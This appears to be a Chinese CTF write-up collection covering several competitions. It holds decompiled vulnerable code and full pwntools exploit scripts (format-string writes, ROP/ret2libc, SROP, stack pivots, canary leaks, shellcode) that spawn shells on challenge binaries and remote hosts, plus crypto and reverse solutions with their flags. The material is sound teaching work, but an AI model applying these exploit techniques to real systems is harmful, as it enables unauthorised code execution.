1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[88 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Welcome TGCTF!" ); printf ("your gift %p\n" , buf); puts ("please tell me your name" ); read(0 , buf, 0x30 uLL); if ( magic == 1131796 ) { printf (buf); magic = 0 ; } return 0 ; }
会给我们一个栈上的地址,存在格式化字符漏洞但是只能利用一次,read很小无法溢出,所以只能尝试通过格式化字符漏洞任意写控制执行流构造二次输入,泄露libc基址,打one_gadget
通过gdb调试到存在格式化字符漏洞的printf处
可以发现printf的返回地址被放到了buf起始地址之前也就是buf - 8的位置返回地址为0x401276而read的地址是0x40123D将返回地址修改为read的地址即可构造二次输入
利用%n可以将目前输入的字符数覆盖到指定的地址,可以通过%hn写入 一个short类型的值覆盖两个字节,也可以通过%hhn写入一个 signed char 类型的值覆盖一个字节。返回地址与read地址之间只是低位有一个字节的区别两种方式均可
1 2 0x401276 --> 76 12 40 00 0x40123D --> 3D 12 40 00
选择使用%hn覆盖则需要输出0x123D个字节也就是4669个字节,使用%n覆盖返回地址还需指定地址,也就是前面题目给的栈地址-8注意参数具体是第几个。
两种写法:
单字节写入,格式化字符占0x18个字节在栈上也就是3个参数的位置
1 2 3 4 5 6 payload = flat( { 0 :"%{}c%9$hhn%19$p" .format (0x3D ), 0x18 :p64(stack - 8 ) } )
注:在指定参数时rdi是算格式字符也就是 format 而我们指定的参数是 arg ,arg1是存储在rsi中寄存器存储5个参数第6个参数位于栈上,我们格式化字符占了0x18个字节,p64(stack - 8)也就是栈上的第4个参数
双字节写入
1 2 3 payload = b"%4669c%11$hn" + b"%19$p" payload = payload.ljust(0x28 ,b"\x00" ) payload += p64(stack - 8 )
控制过执行流后接收libc二次利用格式化字符漏洞将执行流转至one_gadget处看了gets大佬的wp又学到了新姿势
1 2 3 4 5 6 payload = b"%" + str (one_gadget & 0xFFFF ).encode() payload += (b"c%10$hn%" + str (((one_gadget >> 16 ) & 0xFFFF ) - (one_gadget & 0xFFFF )).encode()) payload += b"c%11$hn" payload = payload.ljust(0x20 , b"\x00" ) payload += p64(stack + 0x68 ) payload += p64(stack + 0x68 + 2 )
这个payload最后是修改的部分是main函数末尾通过leave ret跳转到exit处将该地址利用任意写改成了one_gadget的地址
可以看到是stack地址加0x68处
str(one_gadget & 0xFFFF).encode()
这部分是为了获取one_gadget的低16位并将低 16 位转换为字符串并编码为字节流
str(((one_gadget >> 16) & 0xFFFF) - (one_gadget & 0xFFFF)).encode())
将 one_gadget 右移 16 位,获取高 16 位的值接着计算高 16 位和低 16 位的差值,将差值转换为字符串并编码为字节流
p64(stack + 0x68)
:将 stack + 0x68 的地址转换为 8 字节的小端字节流。这个地址是低 16 位的写入目标。
p64(stack + 0x68 + 2)
:将 stack + 0x68 + 2 的地址转换为 8 字节的小端字节流。这个地址是高 16 位的写入目标。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process( ["/home/pwn/桌面/ld.so.2" , "./pwn" ], env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) one =0xe3b01 read=0x40123D io.recvuntil(b'your gift ' ) stack = int (io.recv(14 ),16 ) success(hex (stack)) payload = b"%4669c%11$hn" + b"%19$p" payload = payload.ljust(0x28 ,b"\x00" ) payload += p64(stack - 8 ) io.send(payload) io.recvuntil(b"0x" ) base = int (io.recv(14 ), 16 )-0x24083 print (hex (base))one_gadget = one+base payload = b"%" + str (one_gadget & 0xFFFF ).encode() payload += (b"c%10$hn%" + str (((one_gadget >> 16 ) & 0xFFFF ) - (one_gadget & 0xFFFF )).encode())payload += b"c%11$hn" payload = payload.ljust(0x20 , b"\x00" ) payload += p64(stack + 0x68 ) payload += p64(stack + 0x68 + 2 ) gdb.attach(io) io.send(payload) io.sendline(b'cat f*' ) io.interactive()
比赛的时候one_gadget版本太老了找到的和wp里的不一样就很难受
process新姿势: 1 2 3 4 io = process( ["/home/pwn/桌面/ld.so.2" , "./pwn" ], env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, )
西南科大校队招新赛 pwn01
ret2text
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8090 ) backdoor = 0x080491F6 payload=b'a' *(0x48 +4 )+p32(backdoor) io.sendline(payload) io.interactive()
flag{2732yg_cbhbc_999}
pwn02
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8091 ) target = 0x0804C030 payload= fmtstr_payload(4 ,{target:1 }) io.sendline(payload) io.interactive()
flag{182hh_jsidj_28ddss}
gift
1 2 3 4 5 6 7 8 9 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('47.113.227.111' ,8094 ) ret = 0x400451 gift = 0x4005C4 payload= b'a' *(0x10 +8 )+p64(ret)+p64(gift) io.sendline(payload) io.interactive()
flag{gift_1s_4_v3ry_l0ng_fl4g_s3cur1ty_k3y5_ABCD1234!@#$}
shellcode
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('47.113.227.111' ,8098 ) elf=ELF('./pwn' ) io.recvuntil('gift->' ) buf = int (io.recvuntil('\n' ,drop=True ),16 ) print (hex (buf))payload = asm(shellcraft.sh()).ljust(0x48 ,b'\x00' ) + p32(0 ) + p32(buf) io.sendline(payload) io.interactive()
flag{m3ss4g3_1n_th3_b1n4ry_f1l3_0xDEADBEEF_1337}
UCSC BoFido-ucsc 伪随机数,read处存在溢出可以覆盖种子,但无法直接覆盖v4,若种子固定则输出的随机数序列一定,循环十次若十次输入数字和随机数生成的一样即可获得shell
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6; char buf[20 ]; unsigned int v8; unsigned int v9; unsigned int v10; unsigned int seed; unsigned int i; int v13; int v14; init(); v14 = 0 ; v13 = 0 ; seed = time(0LL ); puts ("Welcome to the lottery game!" ); puts ("Enter your name:" ); read(0 , buf, 0x25 uLL); puts ("Now start your game!" ); srand(seed); for ( i = 1 ; i <= 10 ; ++i ) { v10 = rand() % 255 ; v9 = rand() % 255 ; v8 = rand() % 255 ; printf ("[+] Round %d, please choose your numbers:\n" , i); __isoc99_scanf("%d%d%d" , &v6, &v5, &v4); printf ("The lucky number is: %d %d %d\n" , v10, v9, v8); v13 = 0 ; if ( v10 == v6 ) ++v13; if ( v9 == v5 ) ++v13; if ( v8 == v4 ) ++v13; if ( v13 == 3 ) { puts ("Congratulations! You won the first prize!" ); ++v14; } if ( v13 == 2 ) puts ("Congratulations! You won the second prize!" ); if ( v13 == 1 ) puts ("Congratulations! You won the third prize!" ); if ( !v13 ) puts ("Congratulations! You won nothing!" ); } if ( v14 == 10 ) { puts ("You're so lucky! Here is your gift!" ); system("/bin/sh" ); } else { puts ("See you next time!" ); } return 0 ; }
将随机数种子覆盖为一
1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
0x20个a加上一个1
seed为1时生成10个随机数序列为
1 2 3 4 5 6 7 8 9 10 171 153 203 202 0 183 201 70 206 195 45 120 165 188 58 252 232 96 178 16 144 65 93 195 202 99 159 236 80 162
依次输入即可
御网杯 canary check
1 2 3 4 5 6 7 8 9 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled
题目叫canary但是却没开canary,IDA反编译发现是用随机数模拟的
main函数附近藏了个后门函数system('/bin/sh')
主要漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 __int64 sub_4013C7 () { __int64 result; char buf[88 ]; __int64 v2; int v3; int v4; v4 = 0 ; qword_4040D0 = (__int64)rand() << 32 ; qword_4040D0 += rand(); v2 = qword_4040D0; puts ("I have a secret. Can you find it?" ); while ( !v4 ) { sub_40135C(); v3 = sub_401397(); switch ( v3 ) { case 2 : if ( qword_404088 ) { printf ("My secret is %016lx\n" , qword_4040D0); qword_4040D0 = (__int64)rand() << 32 ; qword_4040D0 += rand(); v2 = qword_4040D0; puts ("But now, I have a new Secret." ); --qword_404088; } else { puts ("Just one time!" ); } break ; case 3 : v4 = 1 ; break ; case 1 : puts ("Show me the code:" ); read(0 , buf, 0x100 uLL); break ; } } result = qword_4040D0; if ( v2 != qword_4040D0 ) { printf ("Hey, What are you doing?" ); exit (0 ); } return result; }
存在栈溢出,很简单的一题当时审代码没审仔细v2和qword_4040D0在最后会检查一次,如果不一致会结束运行导致无法用最后的leave ret控制执行流,所以要保证v2被覆盖后能还原,case1存在栈溢出case2可以还原v2
思路如下:先case1将main函数返回地址改为backdoor接着case2将覆盖了的v2变得和qword_4040D0一致,最后case3结束循环,需要注意的点是在覆盖时要注意保证v4为0不然循环就结束了无法再执行case2
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./pwn' ) elf = ELF('./pwn' ) backdoor = 0x401581 sleep(3 ) payload=b'a' *(88 +0x10 )+p64(0 )+p64(0 )+p64(backdoor) io.recvuntil(b' choice' ) io.sendline(b'1' ) io.sendlineafter(b'code' ,payload) io.sendlineafter(b'choice' ,b'2' ) io.sendline(b'3' ) io.interactive()
ez_pwn check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fa000) SHSTK: Enabled IBT: Enabled Stripped: No
关闭了标准输出流,有栈溢出漏洞
利用write用标准错误流泄露libc基地址打one_gadget
提权后将标准输出流重定向到标准错误流
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('47.105.113.86' ,30003 ) libc = ELF('./libc-2.31.so' ) elf = ELF('./pwn' ) io.recvuntil(b'blind now.' ) main = elf.sym['main' ] vuln = 0x4011DD write_got = elf.got['write' ] write_plt = elf.plt['write' ] ret = 0x000000000040101a pop_rdi = 0x00000000004012c3 pop_rsi_r15 = 0x00000000004012c1 payload = b'a' *(0x20 +0x8 ) + p64(pop_rdi) + p64(2 ) + p64(pop_rsi_r15) + p64(write_got) + p64(0 ) + p64(write_plt) + p64(vuln) io.sendline(payload) write_addrs=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = write_addrs - libc.sym['write' ] print (hex (libc_base))system = libc.sym['system' ] + libc_base bin_sh = libc_base + 0x00000000001b75aa pop_rdx_r12 = libc_base + 0x000000000011c1e1 one=0xe6af1 +libc_base payload = b'a' *(0x20 +0x8 ) + p64(pop_rsi_r15)+p64(0 )+p64(0 )+p64(pop_rdx_r12)+p64(0 )+p64(0 )+p64(one) io.send(payload) io.interactive()
ez_base 垃圾邮件隐写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 Dear Friend ; Especially for you - this amazing announcement . This is a one time mailing there is no need to request removal if you won't want any more ! This mail is being sent in compliance with Senate bill 2316 , Title 1 ; Section 303 ! This is not a get rich scheme . Why work for somebody else when you can become rich in 77 months . Have you ever noticed society seems to be moving faster and faster and more people than ever are surfing the web ! Well, now is your chance to capitalize on this ! We will help you turn your business into an E-BUSINESS and sell more . You can begin at absolutely no cost to you . But don't believe us . Ms Ames who resides in Indiana tried us and says "Now I'm rich, Rich, RICH" . We are licensed to operate in all states . If not for you then for your LOVED ONES - act now ! Sign up a friend and you'll get a discount of 30% ! Thank-you for your serious consideration of our offer . Dear Friend ; Especially for you - this cutting-edge intelligence . This is a one time mailing there is no need to request removal if you won't want any more ! This mail is being sent in compliance with Senate bill 1619 ; Title 3 , Section 308 ! This is NOT unsolicited bulk mail . Why work for somebody else when you can become rich inside 62 WEEKS . Have you ever noticed nearly every commercial on television has a .com on in it & nearly every commercial on television has a .com on in it ! Well, now is your chance to capitalize on this . We will help you decrease perceived waiting time by 130% plus process your orders within seconds ! You can begin at absolutely no cost to you ! But don't believe us ! Ms Simpson of Idaho tried us and says "Now I'm rich, Rich, RICH" ! We are licensed to operate in all states ! We implore you - act now . Sign up a friend and you get half off . God Bless ! Dear Friend , Especially for you - this red-hot announcement ! This is a one time mailing there is no need to request removal if you won't want any more ! This mail is being sent in compliance with Senate bill 2216 ; Title 6 ; Section 303 ! THIS IS NOT MULTI-LEVEL MARKETING . Why work for somebody else when you can become rich within 71 WEEKS . Have you ever noticed nearly every commercial on television has a .com on in it & most everyone has a cellphone . Well, now is your chance to capitalize on this . We will help you decrease perceived waiting time by 140% & SELL MORE ! The best thing about our system is that it is absolutely risk free for you . But don't believe us ! Mr Ames who resides in Rhode Island tried us and says "I was skeptical but it worked for me" . We assure you that we operate within all applicable laws ! DO NOT DELAY - order today ! Sign up a friend and you get half off . God Bless .
丢该网站https://www.spammimic.com/decode.shtml
解密出base64字符,再解密base64即可。
CTBUCTF pwnme exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./sign_in' ) elf = ELF('./sign_in' ) backdoor = 0x40119E payload = b'a' *(0x40 +0x8 ) + p64(backdoor) io.recvuntil(b'Pwn me!' ) io.sendline(payload) io.interactive()
shellcode exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./pwn' ) elf = ELF('./pwn' ) sleep(3 ) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()
ez_stack check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
简单的栈迁移,有很多gadget可以控制寄存器且有syscall,将execve('/bin/sh',0,0)
的系统调用利用第一个read读到bss段的name上,在用后边的8个字节溢出覆盖rbp两次leave ret栈迁移到bss段上执行。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./pwn' ) elf = ELF('./pwn' ) gdb.attach(io) sleep(1 ) pop_rdi = 0x0000000000401180 pop_rsi = 0x0000000000401182 pop_rdx = 0x000000000040117a pop_rax_syscall = 0x000000000040117d bss = 0x404080 io.recvuntil(b'name?' ) payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax_syscall)+p64(0x3b ) io.send(payload) io.recvuntil(b'it!' ) payload = b'a' *0x30 +p64(bss) io.send(payload) io.interactive()
srop check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
main函数很简单只是一个read的系统调用,存在栈溢出,有/bin/sh,有gift可以将rax改为0xf也就是sigreturn的系统调用号,所以可以使用pwntool中的SigreturnFrame()构造影子栈通过系统调用sigreturn将此时的寄存器变为影子栈上寄存器的状态来调用
execve(‘/bin/sh’,0,0)`
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./pwn' ) elf = ELF('./pwn' ) gdb.attach(io) sleep(3 ) bin_sh = 0x404010 syscall = 0x40110d sigreturn = 0x401117 fake = SigreturnFrame() fake.rax = 0x3b fake.rdi = bin_sh fake.rdx = 0 fake.rsi = 0 fake.rip = syscall payload = b'a' *(0x20 +8 )+p64(sigreturn)+p64(syscall)+bytes (fake) io.sendline(payload) io.interactive()
just_one check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
保护全开,有格式化字符串漏洞但是只能执行一次,rsi存着栈顶地址有后门函数,只需要修改buf[100]处的第一个字节就可以跳转到后门函数,buf在栈上所以可以直接索引参数修改最后两个字节,也就是0xEF
0xEF = 239
测得输入地址的偏移为6,然后6 + 201(下标是从0开始,200即201) - 1 = 206
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=process('./pwn' ) elf = ELF('./pwn' ) payload = "%239c%206$hhn" io.sendafter(b"> " ,payload) io.interactive()
parloo Reverse PositionalXOR
异或逻辑 :
每个字符的加密方式是:密文字符 = 原文字符 ^ (位置 + 1)
(位置从 0
开始计数,但密钥从 1
开始递增)。
例如,第一个字符 q
的 ASCII 码为 113
,位置为 0
,密钥为 1
,解密为 113 ^ 1 = 112
,对应字符 p
。
逐字符解密 :
对每个字符按位置依次异或,恢复原始字符。
例如:
V
(位置 5
)异或 6
得到 P
。
h
(位置 6
)异或 7
得到 o
。
{
(位置 7
)异或 8
得到 s
。
1 2 3 encrypted = "qcoq~Vh{e~bccocH^@Lgt{gt|g" decrypted = "" .join([chr (ord (c) ^ (i+1 )) for i, c in enumerate (encrypted)]) print (f"Flag: {decrypted} " )
PaluFlat 附件为.com文件,改为.zip解压后得到exe文件,
exe文件丢入ida找到加密逻辑
输入存入str[]数组中经过sub_40155函数加密后与v5数组比较
sub_40155加密逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 加密流程按以下顺序进行: 动态密钥选择:根据字符索引奇偶性交替使用"flat"和"palu"两个密钥 异或混淆:用密钥字节对原始字节进行异或运算 位移混淆:循环右移4位打乱bit位置 数值变换:通过减85改变数值分布 取反混淆:最终通过按位取反实现非线性变换 各步骤说明: 密钥选择策略:奇数位用flat[0],偶数位用palu[0],通过模运算循环使用密钥字符 循环移位实现:(v8 >> 4) | (v8 << 4) 完成4位右循环 减法操作使用模运算处理溢出,保证结果在0-255范围内 最终取反操作:~v8 & 0xFF 确保结果为有效字节值 这个加密算法通过多阶段非线性变换,实现了对原始字符串的混淆和扩散效果。
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def decrypt_byte (encrypted_byte, key_part, index, key1_len, key2_len ): v8 = ~encrypted_byte & 0xFF v8 = (v8 + 85 ) % 256 v8 = ((v8 << 4 ) | (v8 >> 4 )) & 0xFF if index % 2 != 0 : key = key_part[0 ] key_len = key1_len else : key = key_part[1 ] key_len = key2_len v8 ^= key[index % key_len] return v8 def decrypt_string (encrypted_str ): key_part = [b"flat" , b"palu" ] key1_len = len (key_part[0 ]) key2_len = len (key_part[1 ]) decrypted = bytearray () for i in range (len (encrypted_str)): plain_byte = decrypt_byte(encrypted_str[i], key_part, i, key1_len, key2_len) decrypted.append(plain_byte) return decrypted.decode('utf-8' ) encrypted_str = [ 0x54 , 0x84 , 0x54 , 0x44 , 0xA4 , 0xB2 , 0x84 , 0x54 , 0x62 , 0x32 , 0x8F , 0x54 , 0x62 , 0xB2 , 0x54 , 0x03 , 0x14 , 0x80 , 0x43 ] decrypted_flag = decrypt_string(encrypted_str) print ("Decrypted Flag:" , decrypted_flag)
crypto 循环锁链
确定起点 :已知flag以palu{
开头,对应的ASCII值分别为0x70, 0x61, 0x6C, 0x75, 0x7B
。
异或链推导 :发现密文循环结构中,若以索引36(最后一个字节0x0D
)为起点,并假设明文通过异或链(每个字节与前一个明文异或)生成,则:
明文[0] = cipher[36] ^ IV
,其中IV = 0x0D ^ 0x70 = 0x7D
。
后续明文满足:明文[i] = cipher[i] ^ 明文[i-1]
。
逐字节解密 :从索引36开始循环遍历密文,依次异或前一个明文字节,得到完整明文。
最终解密结果即为所求flag。
palu{iC7uDoJJMAWnIhkkCNiIoCZZVmiPrk9}
欧几里得: Paillier加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import long_to_bytesc = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861 for s in range (0x10000 ): high = s >> 8 low = s & 0xff m2_bytes = bytes ([high, low]) * 35 m2 = int .from_bytes(m2_bytes, 'big' ) if m2 > c: continue m1 = c - m2 m1_bytes = long_to_bytes(m1) if m1_bytes.startswith(b'palu{' ) and m1_bytes.endswith(b'}' ) and all (32 <= b <= 126 for b in m1_bytes): print ("Found flag:" , m1_bytes.decode()) print ("Seed:" , hex (s)) exit()
轩辕杯 it_is_a_canary check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
开了PIE开了Canary有后门函数,两个溢出点但是溢出字节数比较少只够覆盖rbp和返回地址
漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 vuln () { char buf[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Is it a canary?" ); read(0 , buf, 0x30 uLL); printf ("You say: %s." , buf); read(0 , buf, 0x30 uLL); puts ("What is PIE?" ); return v2 - __readfsqword(0x28 u); }
先用printf泄露canary,%s会被\x00
截断所以用\n
覆盖\x00
输出canary,用第二个read尝试覆盖vuln的返回地址的后两个字节跳转到后门函数
多尝试几次就覆盖成功了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('27.25.151.26' ,62873 ) elf = ELF('./pwn' ) io.recvuntil(b'Is it a canary?' ) io.sendline(b'a' *0x18 ) io.recvuntil(b'a' *0x18 ) canary = u64(io.recv(8 ))-0xa print (hex (canary))payload = b'a' *0x18 + p64(canary)+ p64(0 ) + b'\x65\x52' io.send(payload) io.interactive()
lllibc check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
简单的libc
libc版本:libc database search
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('27.25.151.26' ,29389 ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main = elf.sym['main' ] read = elf.sym['read' ] pop_rdi = 0x000000000040117e pop_rsi = 0x0000000000401180 pop_rdx = 0x0000000000401182 ret = 0x000000000040101a bss = 0x404040 payload = b'a' *(0x10 +0x8 ) + p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(write_got) + p64(pop_rdx) + p64(0x10 ) + p64(write_plt) + p64(main) io.recvuntil(b'win?\n' ) io.sendline(payload) write_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (write_addr))libc_base = write_addr - libc.sym['write' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload = b'a' *(0x10 +0x8 ) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) io.recvuntil(b'win?\n' ) io.sendline(payload) io.interactive()
国际赛 squ1rrel CTF 2025 jail 还不太会分析docker文件就先贴个大佬的exp
Solved by Winegee:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = "debug" context.arch = "amd64" p = remote("20.84.72.194" , 5001 ) elf = ELF("./prison" ) pop_rdi = 0x401a0d pop_rdx = 0x401a1a pop_rsi_rbp = 0x413676 bss = 0x00000000004ccac0 pop_rax = 0x41f464 syscall = 0x4013b8 pop_rsp = 0x4450f8 sla(b"They gave you the premium stay so at least you get to choose your cell (1-6): " , str (17 )) p.recvuntil(b"Your cellmate is " ) stack_pointer = u64(p.recv(6 ).ljust(8 , b"\x00" )) rop_addr = stack_pointer - (0x8b0 - 0x7c0 ) payload = p64(pop_rdi) + p64(0 ) + p64(pop_rsi_rbp) + p64(rop_addr) + p64(0 ) + p64(pop_rdx) + p64(0x200 ) + p64(elf.sym["read" ]) + p64(0 ) + p64(pop_rsp) + p64(rop_addr) sa(b"Now let's get the registry updated. What is your name: " , payload) sleep(3 ) payload = b"/bi" + b"/bin/sh\x00" * 9 payload += p64(pop_rdi) + p64(rop_addr) + p64(pop_rsi_rbp) + p64(0 ) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax) + p64(0x3b ) + p64(syscall) p.send(payload) p.interactive()
Solved by pfwqdxwdd:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from tools import *context(arch='amd64' ,log_level='debug' ) p=remote("20.84.72.194" ,5001 ) e=ELF("./prison" ) pop_rdi=0x401a0d pop_rdx=0x401a1a xor_rax=0x000000000042bea9 mg0=0x0000000000419501 xor_edi=0x000000000047ddda leave_ret=0x0000000000401b54 rdx=0x0000000000471875 payload=b'a' *0x40 +p64(0x4cb3a0 )+p64(rdx)+p64(xor_edi)+p64(0x000000000042daa6 ) p.sendline(b'1' ) p.recvuntil("name:" ) p.sendline(payload) debug(p,0x401b55 ) pause() mrotect=0x000000000042e5b0 shellcode=asm(''' mov rax, 59 mov rdi,0x0068732f6e69622f push rdi mov rdi,rsp xor rsi,rsi xor rdx,rdx syscall ''' )payload1=b'a' *5 +p64(pop_rdi)+p64(0x4cb000 )+p64(pop_rdx)+p64(0x7 )+p64(0x0000000000413676 )+p64(0x1000 )*2 +p64(mrotect)+p64(0x4cb3f0 )+shellcode p.sendline(payload1) p.interactive()